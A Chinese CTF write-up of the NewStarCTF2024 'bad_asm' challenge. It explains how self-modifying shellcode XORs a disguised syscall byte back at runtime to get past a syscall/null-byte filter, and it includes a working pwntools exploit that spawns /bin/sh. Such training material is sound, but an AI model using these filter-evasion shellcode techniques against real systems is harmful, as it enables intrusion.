遇到一个挺有意思的shellcode题,在此记录一下

题目分析

题目来源 NewStarCTF2024 bad_asm

1

题目中有两个限制

  1. shellcode通过read读入,意味着如果出现\x00则后续的shellcode都不会被读入
  2. 判断shellcode中是否出现\x0f\x05\x0f\x34意味着禁用了syscall和sysenter

2

执行shellcode之前会把除了rdi,rsi以外的寄存器清零

解题思路

如果直接shellcraft不仅会出现\x00而且会有syscall导致特判不通过

写出不含有\x00的shellcode很容易,问题在于如何绕过syscall检查

之后想到了可见字符shellcode,可见字符不含有\x0f可以通过特判,但可见字符的shellcode用到了大量的内存寻址,而寄存器都归0导致要逐步恢复寄存器才可以去寻址,太麻烦了因此这个方法也pass掉

这题灵感也是来源于可见字符shellcode,可见字符shellcode是利用了大量的异或运算,把输入进去的可见字符异或成不可见字符构造shellcode,因此只需要在最后syscall的时候输入进被异或的字节,绕过特判后在调用shellcode的时候再异或回来即可

由于rdi指向的是shellcode,因此根据rdi寻址找到syscall被异或的位置即可

1
2
mov al,0x6
xor [rdi+0x26],rax

这里syscall我写成\x0f\x03最后把0x3与0x6进行异或运算成为0x5,之后就可以正常执行了

用al也是为了避免出现\x00

本题还有个坑,就是rbp和rsp被清零,导致push和pop不能用,因此在执行shellcode之前想办法分配rbp和rsp

1
2
3
mov rsp,rsi
add rsp,0x50
add rsp,0x50

rsi指向的是一块可写的区域,把rsi的值赋给栈顶并开辟0xa0大小的栈空间,此处直接add rsp,0xa0会出现’\x00’

后续就正常执行即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import*
from LibcSearcher import*
from ctypes import*
from struct import pack
context(log_level='debug',arch='amd64',os='linux')

libc=ELF('/home/mrbw/Desktop/pwn_tools/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
libc=ELF('./libc.so.6')
e=ELF('./asm')
r=process('./asm')
#r=remote('39.106.48.123', 28643)
s = lambda content : r.send(content)
sl = lambda content : r.sendline(content)
sa = lambda content,send : r.sendafter(content, send)
sla = lambda content,send : r.sendlineafter(content, send)
rc = lambda number : r.recv(number)
ru = lambda content : r.recvuntil(content)
ru("Input your Code : \n")
gdb.attach(r,'b exec')
payload=asm('''
mov rsp,rsi
add rsp,0x50
add rsp,0x50
mov al,0x6
xor [rdi+0x26],rax

''')
#payload+=b"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA"
#payload+=b"PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx"
payload+=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x03'
print(payload)


s(payload)


r.interactive()

题目中虽说禁用了int 80,但是if里没有禁用\xcd\x50,不知是否可以retfq转化成32位执行shellcode,理论上没问题